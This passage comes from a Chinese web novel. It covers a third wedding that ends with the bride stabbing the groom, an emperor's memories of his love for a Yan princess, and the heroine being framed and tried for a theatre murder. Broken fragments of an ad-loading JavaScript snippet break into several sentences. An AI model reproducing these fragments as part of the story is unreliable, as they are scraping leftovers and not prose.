“小妹不懂事,让景王见笑了。”——一个柔和的声音忽从门外传来,风吹铃响,鼻尖飘来一阵清幽的香气,沈月不觉微微睁大了眼,看见一身量高挑、气度高雅的女子从门外走了进来。 那仙姿佚貌的美人儿冰清玉润,脸颊清瘦,浅笑着却有两个酒窝,明晃晃地跳动着,为这冰雪般的容色添了几分活泼。一双漂亮的凤眼上有着浓密的睫羽,眼帘低垂之时,在脸颊上投下一抹暗影,面中是一个细巧而挺秀的鼻,柔唇微启,声若雪落。华服穿在她的身上,也成了闪烁文章。沈月脑中毫无征兆地飘过了曾读过的一篇赋…… “其素若何,春梅绽雪;其洁若何,秋蕙披霜;其静若何,松生空谷;其艳若何,霞映澄塘;其文若何,龙游曲沼;其神若何,月射寒江……” 她还从未见过这么漂亮的人……! “小妹”,她竟是阿尔汉公主的姐姐? 脑中“嗡”地一声! 虽是姐妹,风华气度简直云泥之别。 比起沈月面上的欣赏赞叹之意,君琰却并没有什么反应,阿尔汉一听到熟悉的声音,刻转身扑了过去:“长姐你回来了!” 对方将她扒到身后,走到了君琰面前,很和善地行了个礼,“燕国昭华长公主赫连雪,见过景王。” “原来是昭华长公主。”君琰皱了皱眉,“怎么贵客来了,却没个动静?” “原是听说小妹在楚国惹事不肯回去,我打算悄悄来将她接走,昨儿刚到的,不想今日就碰上这一幕。小妹平素在家刁蛮惯了,我这个长姐代她向王爷赔个不是。若有失礼之处还望海涵,若小妹实在过分以至王爷怒气难消,我愿代为受惩。” “长姐,你不要这样说,是君琰过分,他不仅毁了我的小刀,还毁了我的金鞭!” “住嘴!” 赫连雪打断了她,阿尔汉立马不敢吱声了…… “若不是你无礼在先,景王怎会震碎你的兵器?你真当我是昨儿才来的,就什么也不知道?往后若再敢如此胡闹,置两国颜面于不顾,燕国,便也没你这个公主了!” “……长姐!” 她这话说得严重,阿尔汉都不觉吓出了一背冷汗。 话说到这个份上了,君琰也不好再说什么,“今日就卖长公主一个面子,望你日后管好令妹,否则,下一回本王可说不好会做出什么事来。” 说罢,拉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着沈月头也不回地离开了。 “长姐,你看这个君琰!”阿尔汉仍旧心里不舒服。 “景王的名讳也是你能叫的?”赫连雪道:“今晚之前改不过来口,晚膳你就不要吃了。” “姐……”阿尔汉委屈地喃喃着,“我就是看上他了嘛……” “你看上了他,他不肯,你就用自己的办法来强迫他?”赫连雪看向她,“且不说景王从不是个妥协的人,就说你的这种做法,此事若传开了去,你可以丢人,但是燕国不可以丢人。” “……” “他旁边的那个就是沈月吧?” “是!长姐你也看到了,那个沈月长得也没有多好看,我实在想不明白……” “这次来本是要联姻的,不要满脑子都只有自己的事。你现在所做的一切,于大局来说都是有害无利。” 阿尔汉忽想到了一个严重的问题……长姐来了,该不会是……?! “长姐,你来只是为了带我回去的吗?” “自然不止于此。”赫连雪薄唇轻启,接下来所说的话,印证了阿尔汉这一刻的猜测:“你任性胡来,置两国关系于不顾,大燕只能再派公主和亲。所以,我来了。” “?!”阿尔汉一时间脸色煞白,“长姐,不可以,这不可以!你……你快回去吧!” “来都来了,你以为我和你一样?” “我来都很亏了,长姐的身份比我要高多了!凭什么让你嫁给楚国那些王八蛋?你是我们整个大燕最尊贵的公主!” “因为你啊。若三日前我们与楚国皇室已经谈好了联姻人选,若你没有在这边胡闹,我这一趟就不必来了。” “可长姐喜欢的人是……!” “既来之则安之。前尘往事,尽焚于此。”赫连雪打断了她,目光平静如水:“没有什么是不能失去的。楚国的实力蒸蒸日上,我们得找一位镇得住的人嫁过来,你若担不起这个担子,那就我来。” 阿尔汉沉默了。 君琰拉着沈月的手,一口气走了许久…… 到街道转弯处,她终于向后一拽,挣开了他的手。 “今天好险,”他回头朝她走来,“你往后可以当心一点吗?” 沈月笑看着他,“其实九爷不必跑着一趟的,你不来,星月阁也会派人来救我。” 她含着笑意又冰冷如霜的目光,刺得他心里发痛。之前的毒还未解干净,又为她担心了一整天……他咳了两声,不想在她面前露出异样,鼓起勇气还是又朝她走近了两步:“你得怎么样,才肯原谅我?” 沈月笑意愈浓,一边的唇角翘起…… “你可以试试—— 兴许哪天,我心情就好了呢?” 他看着她。 “对哦,今天算是你救了我,我得知恩图报啊。” “沈月。”他看她的目光是说不出的复杂和渴求……“再嫁我一次,你可愿意?” “哦。”她仰天笑了一声,“那有什么。你敢娶,我就敢嫁,只要你不怕承担风险。我的心情就像天上的月亮一样,阴晴圆缺,并不由我自己做主。或许呢?或许哪一次,我心情好了,就会顺从地——嫁你。” 他的眼睛里慢慢浮起了一丝期许的光…… 也就是说,她还是愿意给他机会的? 哪怕这个机会,只有万分之一…… 他也会毫不犹豫地,做个疯狂的赌徒。 “拿上这个。”他将那把当初送给她的定情匕首,再次小心翼翼地送出……手在微微颤抖,他自己也没觉察到在抖,“往后若再遇到这样的危险,也能防身。” 他将匕首直接塞到了她的手里,没等她握紧,便转身走远了。 42. 三嫁 这是她第三次穿大红嫁衣了。铜镜里的新娘,脸上没有任何表情。 人们似乎已经开始变得麻木……娶一个人来回娶三次,嗯……原来这才是九公子? “小姐,这一次您还是要惩罚他吗?” 连静儿也有些疑惑了,心里觉得景王有些惨,却也知道“未经他人苦莫劝他人善”的道理,所以小姐从前到底是遭遇了什么?她虽与她简略地说起过,可那般光景,在静儿看来还是有点难以想象……一个人可以对另一个人那样辜负,而后再心甘情愿地接受她歇斯底里的报复么?这到底是一个什么样的人? “也许吧。”新嫁娘望着窗外阴阴的天色,笑了:“谁知道呢?” 静儿倒抽一口凉气…… 身边这个小侍女心眼儿好,却跟自己合不来。沈月开始想琉璃了……不知道她现在过得怎样?还有李嬷嬷,被那个没良心的赶出府以后,现在又好吗? 喜乐、喜轿、喜娘…… 然而今日天公不作美,天一早便是阴沉沉的,到了晚间,就愈发有酿雨的意思了。 地上开始返潮。 另一边,新郎官正在找人算卦。 “卜一卦,这一次婚礼能否顺利?” 算卦人一番埋头扒拉,霍然间那龟甲稀里哗啦地裂开了,他瞪大了眼睛,看着面前这位器宇不凡的贵客……“客官,大凶啊!” “轰隆!”一声惊雷忽然响在头顶。 紧接着,铜钱大的雨点落了下来,一滴正好打在他的前额。 君琰仰头,黑压压的天幕似要压到地上来了,伸出手去,更多豆大的雨点落了下来,衣衫上很快冰凉一片…… “客官,要下大雨了,我得守摊子了。”算卦人麻溜地将摊位一番收拾,临走道:“此行大凶!客官,在下还是奉劝你不要去的好。”说着走了。 夭夭…… 他仰头看着阴沉的天色,觉得天地之间仿佛孤单得只剩下自己一人,闭上了眼睛,似在深思着什么。雨滴密密麻麻地打在衣衫上……眼皮跟前霍然一阵敞亮,一阵黑暗,是闪电到了。 “主子,您若是改主意不去了,属下即刻去说。”陆云打着把伞跑了过来。 “谁说不去了?”他霍然睁开了眼,神色顷刻间又恢复如常:“——走!” 上一回是晴天,这一回是雨天,中间不过间隔七日。君琰,你的脾气是越来越急了。她由喜娘扶着慢慢下了轿,走向他的住处。 一双崭新的红绣鞋一步步踩在湿地上,走得很稳,也很小心,逐渐向那间房过去,一应流程都和上次一样,只是来道喜的宾客要少多了——原因也是很显见的。 屋外暴雨如注,喜乐在竭力地吹着,和雨声相抗。君琰原选的都是晴好天气,这一回却是卜算的人没算准,老天不必看任何人的面子,忽然就下雨了。 阿尔汉公主被她姐姐管住了,不准出来闹事。 满目大红的喜绸,耳边倾泻的雨声,窗外天上电闪雷鸣,怎么看都透着股诡异。沈月却根本是不在乎天气的,她坐在那里等着他走来,华贵艳丽的喜服下藏着一把匕首——他前几天塞还给她的定情匕首。 “夭夭。”他的声音有些寒冷,带着渴求,还有一丝奇怪的笑声,在那里驻足了一瞬,还是走过来了,掀了她的红盖头。 “今日天气不大好。想来是天公都不作美,觉得今日之事不该被成全吧。”她笑着起身,看着他:“九爷也辛苦一天了,我便不打扰了。”说着便要往外走去。 “你这就要走?!”他急切拉住她的胳膊。 她站住。 他转头看着她的背影,“今天是我们的大婚之夜……” “上次也是。”她露出一抹微凉的笑。 “夭夭!”他一把将她拉回来,她撞到了他的怀里。 “夭夭……”他俯身抱住了她,在触碰到她身子的一瞬间,仿佛无数的情绪一齐涌上心头,煎熬得他快疯了。“夭夭,是我对不起你,我真的……求你,不要再离开我,不要离开我……” 后背染上了点滴凉意,她被他抱在了怀里。旧时熟悉的感觉,在刹那间全数涌上心头,眼眶一热,心中酸痛难言…… “啪!” 那把他重新还她的匕首,被她狠狠捅进了他胸前! 这个久违的、温暖的拥抱,以她将他赠与的匕首捅进他的身体里为结束。 君琰一怔,眼中划过了一抹讶然……下一瞬,却又觉得在情理之中…… 哈……哈哈哈!算卦的没有骗他!果然,是大凶!她还是不肯,还是不肯接受他…… 她的手瑟瑟离开了匕首柄,后退了两步,“这话你从前对我也说过,可是后来你告诉我,这些都是骗我的,是我太天真相信了你。同样的招数你对我再用第二次,不觉得太可笑了吗?” “可笑……是啊,可笑。”他忽然大笑了起来。何止是她天真,他更是天真!总是觉得,第三次了,应该能娶到她了…… “我是一个给你做妾都算抬举的人,如今你却执着于要娶我为妻,这也很可笑。你,我,都是可笑之人,可笑之人做出了许多可笑之事。” “可笑之事……”他向她走近一步,没去管胸口插着的匕首,发红的双眼深深看着她的眼睛:“你说这些,是终于肯对我承认,你是夭夭了啊……其实,我当时说那些话,是” “我承不承认有这么重要吗?”她打断了他,看向他的眼神里,有一种平静的悲哀——“无论承不承认,我们都回不去了。君琰,我那天说过,此生都与你不共戴天。” 那次决裂,也是这样一个暴雨天。 第一次娶她的时候,也是这样一个暴雨夜…… “为什么?!”他红着眼睛,不甘:“只要你愿意……” “我不愿意。” “那你又为什么,再答应我……” “那你又为什么当初骗我!?” 他向她走进,忽一抬手,攥住了她的手腕不让她动弹,两人走至墙角——“那你为何,不直接一刀杀了我?!” 她直视着他那双悲伤的眼睛。 “你这一刀, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再刺深一些、偏一些,我即刻就死了,你为什么,连一个痛快也不愿给我?”两人隔得很近,她能听到他愈发沉重的喘息声…… 他盯着她许久,语气由悲愤转为痛苦和哀伤,“原来我是连你的怜悯,也不配得到的……可是夭夭,你每次都这样,我又怎么能甘心呢……你同我,如此这般,往后……”说着,他又带着哭腔发出了奇怪的笑声:“往后除了我,还有谁敢娶你嘛?” 她冷笑一声,“为什么一定要嫁人?我的心已经死了——被你杀死的!你,恩将仇报,欺骗、利用我的感情,任凭我在你府上被虐待不管,剥夺我的自由,养我取血给张王妃做药,杀死我的乡亲,杀死我的父母,毁掉我的家园!” 夭夭曾经多少次畅享着韶华芳年应该怎样度过……应该有良辰美景、赏心乐事,应该有倾心相待的一心人,可现实太过残酷,如水年华奔流不息,在人间留下的却唯有悲痛与仇恨……悲痛与仇恨,总是比欢愉与爱更加刻骨。 她忽然笑了。“你是不是觉得我变了?” “有没有可能,我本来就是这样的呢?” “你若对我好,我会用尽所有的爱意来回报你;你若负了我,我亦能不惜一切代价来报仇……” 说至此,脸色阴沉了下来,眸中方才那几相交缠着的复杂情愫,也彻底冷然不见了,取而代之的是一抹泣血的笑——“君琰,我还是恨你!” 在这个泣血的微笑里,他重新看见了她。曾经纯白的栀子花已化为鲜红的曼珠沙华,开满了通向地狱的道路。 她重重推开了他,夺门而出! 他猝不及防地跌坐在了地上。 胸口的疼痛,此时排山倒海般蔓延开来,蔓延到四肢百骸,几乎要将他整个人吞噬了……一时间满目喜庆的红色仿佛都变成了鲜血,铺满了他的眼前,让他几乎要看不见她的背影了。 “夭夭,别走!” 一声惊雷“轰隆”地划破天宇! 几道蓝色闪电在天幕上唱起了交响曲,他拖着疼痛不已的身子,向前爬了几步,抬手——只抓到了一捧空气。满目风雨满目血,满目飘摇……不见伊人,痛断肝肠! 她恨他,竟深至如此地步。 连几句完整的话,也不愿听他说了。 毒药、匕首……下一样是什么? 他崩溃得大笑起来,笑得撕心裂肺! 如果可以,他愿意,愿意为她奉上鲜血、魂灵、不朽的一切! 可是,她还愿意要吗? 或者是,他乞求她,乞求她要他的东西,她还会愿意吗? 伤人之心是一件非常卑鄙的事,他亦知道自己从来没有那么高尚。可是夭夭也…… 双目忽然一闭。 他重重倒在地上,阖上了眼睛,任凭血流如注。 屋外电闪雷鸣,下属们赶紧来的时候,只看到他穿着新郎官的衣服倒在血泊中央,脸色苍白如纸,胸口直直插着一把匕首…… “公子!”意识陷入昏睡之后,无数急切的呼唤声从四面八方涌来,涌来…… 43. 梦忆 比起江南的多雨,京城的天气总是干涩的。晌午,君朝雨召了内阁阁员秘密议事。 “据景王的密报,近来在江浙发生的几件大事,背后可能是同一人所为……依你们之见,这个人会是谁?” 几个阁员都在,除了次辅叶莹,大家对此中原因心知肚明,却没一个敢说。自江浙那边事发后,案情明里暗里地指向叶次辅之子,皇上对此虽只是略作惩处以示警醒,叶莹却自此以后赋闲在家,再很少来内阁办公过了……一连数月,阁臣之权名存而实亡,被降职估计也就是早晚的事儿了。 听皇上这话的意思,幕后之人除了叶次辅的儿子,似乎还有旁人? 可是还能有什么人呢?还能有什么人,权力能越过次辅头上去……首辅吗?这、不太可能啊。他们一向是不同党派的人,不大可能合起伙来做这样的事。 君朝雨扫视几位重臣,发现他们的脸上,皆是茫然之色……不由心头有些恼。“罢了!你们也不知道,朕又何必为难你们……” “陛下,”首辅高明说话了:“既然这密报是景王送来的,那是不是说明,景王心里已有怀疑的对象?” “朕也是这么想的。”君朝雨喝了口茶,放下杯子,“可他也说,现在还不知道是谁。” “以景王的江湖地位及他手下的情报网,如果连他都查不出来是谁,那臣等,怕是也无能为力了。但这些事多少都同叶秉心有关,皇上何不秘密审问他一下呢?” “若当真有关,朕怕的是打草惊蛇。能和叶秉心做上交易,又能让他打死不说的人,朕实在是想不到……残害江浙百姓,打乱景王的阵脚,他们能从中获得的利益,是什么?” 太阳慢慢地消失了,紫宸殿内一瞬间阴沉下来的天色,便如同众人此时的心情。君朝雨忽然话锋一转:“阿尔汉公主追着九弟到江浙去了,听说燕国又派了昭华长公主来和亲?” 阁臣赵之帆道:“昭华长公主是燕国最尊贵的公主。燕国一开始没有让她来,而是派来了六公主阿尔汉,直到六公主这里出了问题,才让长公主来,这到底是出于和我大楚交好的诚意,还是有意设下的陷阱?” 众人一时噤声了。 这个问题涉及到的天子私事,人人都心里有谱,但人人都不说,偏生被他给挑明了出来。 “哦,也有可能是陷阱……爱卿说得是。”君朝雨目光幽幽,“朕倒是还没想到这一点,总觉得不可辜负了人家的诚意呢。” “阿尔汉公主心悦于景王,可景王对她无意,听说他们在江浙……哎,也是一笔烂账!”赵之帆接话道:“景王一心想娶星月阁少阁主,却不知为什么三次都没娶成,陛下要派人去查探一下吗?” 君朝雨露出一个模糊的笑意,“他自己心甘情愿的事情,朕去查他做什么?这等私事上的自由,朕是要给他的。什么时候抱得美人归,朕什么时候再去为他道喜。他心里惦记着沈月,只要同时别忘了正事就好。” …… “哎。”年轻的帝王叹了口气,“罢了,你们都出去吧。” 几个阁臣恭敬告退,君朝雨目送着他们,直到最后那个背影消失——高首辅的。 他是两朝的元辅了。君墨林在位的时候,他就是先帝留下的托孤之臣,自己上位后,他仍是。这老泥鳅,可是能在他们兄弟几人中间都玩转自如的。 君琰在江浙要怎么折腾嫁娶之事,他不会管,与其相比,他送来的秘报中所言之事更让他担心。自己自上任以来,便着手清除一些前朝的积弊,企图通过各种措施来充盈国库,同时与北燕修好、休战,与民修养生息……然而在这新政推行的节骨眼上,却有那么一个不知好歹、不知死活又神秘隐藏着的幕后人在那里搞破坏,是可忍孰不可忍!然而己在明敌在暗,要抓住这个人,又该从何下手?刑部和大理寺的真是一帮废物! 从叶秉心么?他若被审问,那人也会即刻知道,如此便打草惊蛇了。最好,是不必大张旗鼓,便让叶秉心在无意中说出此人姓名。 心思有些烦乱,他走向那堆还没批完的奏章,继续阅览起来。 胡乱翻了两三本…… 都是请他早立中宫的。 也是,自己都二十有六了,至今还未娶妻。 他把目光投向了窗外渺远的天空…… 太阳又出来了,紫禁城的蓝天回来了。十年前,也是在这样的蓝天和太阳底下,还是皇子的他已经见过一位风华绝代的倾城佳人。 他这个人,从前被父皇寄予厚望最终却无缘太子,君墨林即位以后便视他为眼中钉肉中刺,处境艰难,不得不如临深渊、如履薄冰,自然也就对情爱之事不能给予太多的用心了……即位以后,迅速着手整顿吏治、撤换君墨林从前的势力、又要防止外戚的权力太大,每日批折,总要忙到深夜,觉得手边有没有个红袖添香之人,都没有那么要紧了。 可身为天子,还是得立个皇后的啊。 不论是谁,总得有一个。总得有一位贤良淑德的女子,为了他、为了大楚天下,要被放在金碧辉煌的椒房殿里做摆设的。 他拿起第四份奏章——看到内容和前面三份一模一样。 “哐啷”一声,他手滑了,奏折掉在了脚边的地上,叹了口气,没有去捡,而是走向了窗边,去看那太阳和蓝天。 十年前的光景,不早不迟地从眼前飘过,从脑中辗转过,像一缕带着凉意的风,吹醒了他此刻有些模糊的意识…… “你是燕国公主,我们不可能在一起的,我以后得娶一位大楚的闺秀,这是母亲早就告诉过我的。” 听闻这话的佳人露出了怅惘之色…… “抱歉,我也是与你说的实话。” 她复又笑了,如一朵被风吹开的水莲花,“没有什么好抱歉的,每个人都有自己的选择。即便如此,我们也算相识一场,不是吗?” “相识了七天。” 她看着他:“时间之短很重要吗?若志趣不合,即便一生又怎样?若刻骨铭心,即便一瞬又如何?你们中原有句话,‘倾盖如故,白首如新’,我与你,大概就是‘倾盖如故’吧。” “……你说得也有些道理。” “有点可惜,我还为你去学了《渭城曲》,现在吹给你听听吧?” “……好。” 美人临风吹起了曲子…… 她的天赋很高,学了没多久,便已吹得曲声悠扬。 一曲罢时,她轻轻放下了竹笛,笑容唯美而悲凉,染着淡淡的伤,“君朝雨,我们从今往后,就再也不必相见了。” 她说完这句话就轻轻地离去了,头也不回……像一场来去匆匆的大雪,淋过他满头之后,便随着春日的艳阳一起消失。 那一次,短短七日的爱恋与离别,时隔十年他却仍没有忘,只是他一直不知道,那一天她原是想问他,要不要和她去北燕的。 赫连雪,北燕昭华长公主。 他的额上渗出了汗珠,掌心里,不知何时已握着一方绣帕。那绣帕的角上,还绣着一个“雪”字。 她不是中原女儿,原本不会女工,是听说了中原的习俗,特意为他学 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的。她走的时候,没有向他要走绣帕。 一晃十年了,他至今未娶,她也至今未嫁…… 听闻她在北燕有个相好。此番前来,是为了国家,不得已和他分手了吧? 他很清楚她的脾性。 不管来和亲是嫁给谁,她都必然要那正妻之位。 那,这个人可不可能是自己呢……? 时隔十年,当年一面诀别,如今却又以和亲的方式重新在一起? ……不,这不可能。 他很快否定了这个想法。 因为他的皇后、大楚的皇后,绝不能让一个异国人来当。 退一步说,她若真的嫁给他、不做皇后,他也断不会让她有后,尤其是皇子。 不是嫁给自己,那就是嫁给其他兄弟……除了景王,还有谁可堪娶她?那般佳人,有谁堪配? 他想,他对她还是有一些感情在的,只是他现在是楚国的君王,万事,都不能以自己的私念为先。 当年没有在一起,何尝不是因畏惧流言,如今,自然也不能在一起…… 他开始懂父皇临终前说的话了。 即便是贵为天子,也总有些办不到的事。 他办不到,她也办不到。 天色一点一点地黑了下来,他走出紫宸殿,款步在宫道上行着,太监们得了示意不敢跟来,他就这样一路走着,来到了宫城最高处…… 紫禁城的一切全数涌入眼眸,在他的视线里,放大,放大,最后成了一片红色的砖瓦,红色砖瓦的颜色变淡了,渐远,渐远,现出了路的轮廓,在道路尽头,站着那个熟悉又陌生的丽影。 赫连雪正站在葡萄架下,手里捧着一本书——是陈玄祐的《离魂记》。 戏生如梦。 沈月又何尝不知台上离合之事皆为空言,只是她最近有些心潮难平,因一个人跑到如烟院去看戏。 看台下的人乌压压一片,她乔装改扮后才出来的,确信没人能认出自己来,不一会儿,四下里黑了,灯光亮起了,唱腔的第一个音,如玉珠走盘般圆润划过台下看客的心田…… 怎么又是《迷青琐倩女离魂》? 这出戏她听过很多次了。然这儿看戏是随机唱的,她并没有去点戏的那种,就当是消磨时间吧。 可那唱词,实在是太过伤情。 听到一半,她听不下去了,遂猫着腰起来,轻手轻脚地离开,穿过那些还在看戏的人,寻找出去的路。 周围黑漆漆的,她好不容易摸到了路,刚走了没多远…… “啊——!” 忽然,从身后的内院里传来一女子的惨叫声,她一惊,正不知该往哪出去,四下里的灯忽然全部亮起了,十几名侍卫围住了他。 内院里有人死了,卧室大门开着,院子的门也开着,从她这个地方,正好可以直接通向内院。 “你是什么人,在这里做什么!?”为首的侍卫长毫不客气。 她本就情绪不佳,看到眼前这人,莫名又想起了以前和被禁足在景王府时刁难自己的那个侍卫长,火气也上来了:“我是来看戏的,中途不想看了打算走,忽然就听到有人惨叫,然后就被你们围住了!” “一派胡言!”对方却根本不听她说,“那这里为何只有你一个人?你有重大嫌疑,和我们走一趟吧!” “喂!?” 这什么情况?!好歹也…… 黑夜里乌压压的树影下,却有一个影子正自轻笑—— “很期待你这一回的表现呢,洛、夭、夭。” 44. 庭审 周围一片阴冷潮湿。沈月从残梦中醒来,便发现自己已被关在狱中。 这好像是她身陷囹圄的第三天了。三天内,有人送牢饭过来,却没有人来审问她,许是因她昏迷了吧。 事实上,她对自己的处境还是一头雾水。唯一知道的是,她被指控为那晚戏院杀人案的嫌犯。 回想那一晚发生的事……她只是半途离场,而刚好在她走到那个地方时,发生了命案,所有的线索均指向她,倒不像是巧合,而像是人为。 一切都是被提前安排好的,可到底是什么人要害她?什么人要与星月阁、景王作对? 脑子里第一个能想到的就是阿尔汉公主,毕竟她之前绑过她一次。可又转念一想,阿尔汉公主即便仇恨她,也应该是明目张胆地报复,暗地里使绊子且不现真身不像是这位刁蛮公主的作风。 除了阿尔汉,还能是谁? 星月阁的仇家?九公子的仇家? 她现在虽比从前有许多长进,对于江湖上的恩恩怨怨还是所知甚少,与沈因初比不得,亦与君琰比不得。可恶……自己莫非真的要被冤死在这里? 阁主有钱,可以从中活络,但如果背后要搞她的这个人来头太大,怕是阁主也无能为力。星月阁从商,从商者与从政者的关系,历来微妙,关键之时,阁主也没办法为了她去硬碰硬。 她环顾四周。 地上摆着一碗简单的青菜豆腐饭,牢门关得很紧,门外有差役把守,对面的牢门里关着明日即将被斩首的罪犯…… 不远处传来的了一阵脚步声,几簇火光围着一个人,不疾不徐地朝她走来。 已经习惯了牢中昏暗的光线,陡然见到强光,她抬手挡了当眼,在模糊的光晕里,看见了一个身穿官服的陌生男子。 “明天这桩案子,由我主审。”手下为他打开了牢门并搬来椅子,他在她对面坐下。 “我是被冤枉的。”她说。 “我知道。”对方疏离地一笑,“因为每个来这里的犯人,都会这么说。” 听着语气像是已经认定了,她愈发愤懑:“真的不是我!” “明日庭审自有分辨。如果你当真清白,就应当想出办法来证明。”他说着,将一样东西塞到了她手中。 她一讶,那官员却已起身离去了。 翌日,公堂。 耳边响起官员宣读卷宗的声音:“八月初七辰时一刻,伶人有狐被发现死于卧房,房门大开,直通庭院及其外面小道,随后,仆役及时去通知戏班其他人员有狐的死讯,与此同时,侍卫闻声赶到,发现庭院外小道上有一个人,正是嫌犯沈氏,她的袖中还藏有凶器。经初步验尸比对,死者胸口的刀伤正是由这类短匕造成的。除此之外,还有另一桩内情,两桩结合起来看,凶手最有可能是沈氏无疑。” “什么内情?” 那蓝衣官员朗声答道:“这位死者生前倾慕于景王,居室内尽是他的画像,沈氏亦与景王爱恨纠葛不清,极有可能是因情生妒,故而杀害了她。” 衙门外看热闹的人笑成一团。 沈月:??? 有没有搞错,他要不要听听自己在说什么? “沈氏,你可有什么话要讲?”按察使大人,也即昨晚来光顾过她的那位,这时把目光转向了她,眼中别有深意:“这其中若是有什么隐情,你也可当堂说出来。” 她想了想,斟酌着开口:“民女以为方才那位大人所陈案情尚不完全。莫非当日只有我一个嫌犯么?据我所知,那个戏班所有人都住在一起,台前幕后也是连在一块的,仆从去报知死讯之后,其他人的反应是如何?案发现场是什么样的?这些细节不说清楚,恕民女不能信服。” “好你个刁民!”方才陈词那官员被说怒了,“矢口狡辩,简直无可救药!” “你们都已经给我定了罪,再让我来证明自己无罪,这难道是合理的吗?我想诸位大人现在应该说的,是案发现场的具体情况及各方证词,如此才能叫庭审吧。” “你!” “她说的不无道理。”按察使却一拍惊堂木,“来人,将戏班其他人都带上来!” 戏班一共有七个人,除了那名死去的伶人一共是六个,分别是戏班班主夫妇、昨日登台演戏的两位主角和配角。 “初七案发那天在现场的上前来,不在场的站后面。” 六人乖乖站好了位置,其中案发时在场是三人。 小陶:“我和狗儿当时正在台上演戏,演到一半,就听见有狐姐姐的惨叫声,便停止了演出,后来……官府的人就来了。” 康氏:“有狐是被匕首捅死的。我们整个戏班里,都没有匕首这样的凶器,依我之见,应该是有外人进来杀害了她。” 蓝衣官员道:“不错!我们也是在案发现场看到了凶手的脚印,应该是凶手进来杀人后,便开门逃出去了,从那脚印大小推断出的凶手身高,恰和沈氏一般无二。根据验尸报告,死者死时表情很惊讶,所以她应该不认识凶手。根据种种情况推论,沈氏都是最可疑者!” “戏班的房间只有通过大门和舞台前台可以进去,那么照大人的意思,我应该是直接开门进去,杀了人以后再原路出来吗?我离开座位以前一直在看戏,这点左右看戏的人都应该可以作证。” “可现在嫌犯只有你一人。戏班里没有匕首,死者是死于外人之手,这都是可以被确定的事。” “大人的意思是,因为我是目前唯一的嫌疑人,所以罪犯就一定是我吗?这又是哪来的理?另外,我那把匕首的带着防身用的,匕首上也没有血,我的身上也没有血,大人们当天难道没有注意到吗?” 蓝衣官员:“杀人不沾血的匕首又不是没有。你这个理由,也未免太牵强了些。” “那大人不妨现在杀一个试试看,看我这把凶器到底杀人沾不沾血!”她上前来,眼中目光坚定,呈上匕首:“——请!” 蓝衣官员一怔。“当堂杀人,成何体统!?” “无妨。”按察使大人拍了拍惊堂木,“来人,去找头猪试试!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衙门外看热闹的人又开始议论纷纷。 人群中飘过一个身影,那目光似有一瞬的停留—— “该死的,真是没用。” 说完,便又飘走了。 另一边,景王住处。 君琰自被她捅了一刀后便卧床静养,没多久却听说她出事了,急忙派人去打探情况……属下回来一禀报,说她竟被抓进牢里了,急得他当下就恨不得冲出去——最后当然是被下属们拦下了。 然而身体不容他任性,他只能又回到屋内,。 “为什么,偏偏又是她在场的时候发生了命案?”他闭眼冥想,头一次清水河边案发,也是她在场之时,后来的疫情爆发,更是直接让她出于医者本能而卷入,这个背后下手的人到底是谁? 思来想去觉得头疼,他唤陆云过来:“何九思那边打过招呼了吗?” “昨晚见公子睡得早不忍打搅,忘了和您说了,何大人满口答应。他是本案主审,今日庭审,只要沈月按他说的来做,必能洗脱嫌疑。” “嗯。”他点了点头,这才稍稍放心了一点,转头又看向窗外:“什么时辰了?” “晡时了……”陆云说着也是一讶,“对啊公子,庭审现在已经结束了!” 君琰双眸微睁,“有消息吗?” 正说着,无殇进来了:“公子,沈月没有被无罪释放。” “?!” “公子!不要乱动,您的伤还没好呢!”无殇和陆云一起拦住了他。 “怎么会……”他慢慢地又回去,想着:“难道是她不肯?” 猪杀了,刀沾了血,该说的话也说了,但……无济于事。沈月又被押回了牢里。 “本官昨天给你的东西,你没有看?”何九思隔着牢门问她。 “看了。多谢大人一片好意,但” “为何今日不按我教的去说?”何九思也有些烦了,“你以为据理力争就能博个无罪释放?” “话说,大人与我素昧平生,为什么相信不是我呢?”她却没有回答他的问题,而是反问他,“而那另一位官员,又为什么偏要置我于死地呢?” 她叹了口气,背过身:“我今天算是明白了,大人信我,另一位不信我,不过都是因为背后有人说了话而已。你们真的在意过真相吗?” “你……”何九思忽然被她说中,却没有承认。因为来传话的人告诉过他,无论如何,都千万不能让沈月知道他的背后是九爷授意,否则她大概是不会接受他的帮助的。 “大人不承认我也能猜到。请回去转告你背后那人,他的帮助与恩惠,我沈月不要。宁被冤死,也不要。” 君琰吐出一口血来。 胸口的伤并不容易好,今日又为她悬心、接连受刺激,他勉力撑着。 “公子。”陆云扶住了他,“您能不能,别再为了沈月的事情……” “她应该是猜到是我了,所以不肯承我人情,看来,只能从上面下手了……”他看着窗外暗沉下来的天色,陷入沉默。 45. 陷阱 牢中岁月过了几天也就习惯了,总之再糟,也不会比从前在景王府的时候还糟了。 无人的时候她会一个人想,自己活下来是为了什么…… 对,是为了报仇。 可现在,她要报仇的对象却对她施与恩惠。 让她怎么能接受。 先前的援手,是在还没认出她的时候,是对沈月,眼下他早已知道她是谁,援手便是为了夭夭了。若她接受他的帮助,日后可还要向他报仇? 倒还不如听天由命。 总之,她已经据理力争过了,能做的事她都做了,总之,这个世界本就已经烂透了。 就这样吧。 正想着,对面牢门“咔嚓”一声,原来关着的罪犯被押出去了,她背转过身,又听见“咔嚓”一声,是自己这间牢房的门被打开了。 进来的人却是才在公堂上说过话的小陶,只见她面如菜色,一脸的惊吓状。衙役粗暴地将她推了进来,就锁上门出去了。 小陶? 为什么把她和自己关在一间牢房? 这桩案子,凶手会是谁?戏班成员,每一个当夜在场的,不应该都有嫌疑么? 只是她也不知道,为何只有小陶被关了进来。 衙役们走了。 牢里只剩下她与小陶两个人。对方有着一双又粗又黑的眉,粗眉下方是与之不相配的一双小眼睛,鼻子肉乎乎的,嘴唇厚厚的,发丝凌乱,看上去有些颤栗,一瞬和她对上了目光,僵持在那里。 “沈小姐。”她看了她好一会儿,率先开了口:“你会医术吗?” 沈月没想到对方开口第一句话竟是这个,半晌没答,小陶继续道:“医者仁心,我不相信你会杀人。” 